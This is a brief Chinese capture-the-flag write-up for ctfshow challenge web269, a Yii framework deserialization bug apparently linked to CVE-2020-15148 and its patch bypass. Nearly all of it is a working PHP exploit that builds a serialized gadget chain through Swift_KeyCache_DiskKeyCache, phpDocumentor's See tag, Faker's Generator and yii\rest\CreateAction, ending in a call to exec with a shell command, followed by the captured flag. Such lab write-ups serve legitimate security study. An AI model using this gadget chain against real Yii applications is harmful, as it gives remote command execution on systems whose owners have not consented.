(差分析)web269 Yii 框架 CVE 补丁绕过 2

PHP/7.3.11框架审计CVE-2020-15148Yii登录前补丁绕过
思路类似 web267，估计是打过补丁版本

poc2

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'exec';
            $this->id = 'cp /fla* tari.txt';
        }
    }
}
namespace Faker{
    use yii\rest\CreateAction;
    class Generator{
        protected $formatters;
        public function __construct(){
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
    use Faker\Generator;
    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                // 有就行
                "suiyi"=>array("suiyi"=>"suiyi")
            );
        }
    }
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

flag
ctfshow{b95c815a-ec56-47ac-8da0-ca240539abe3}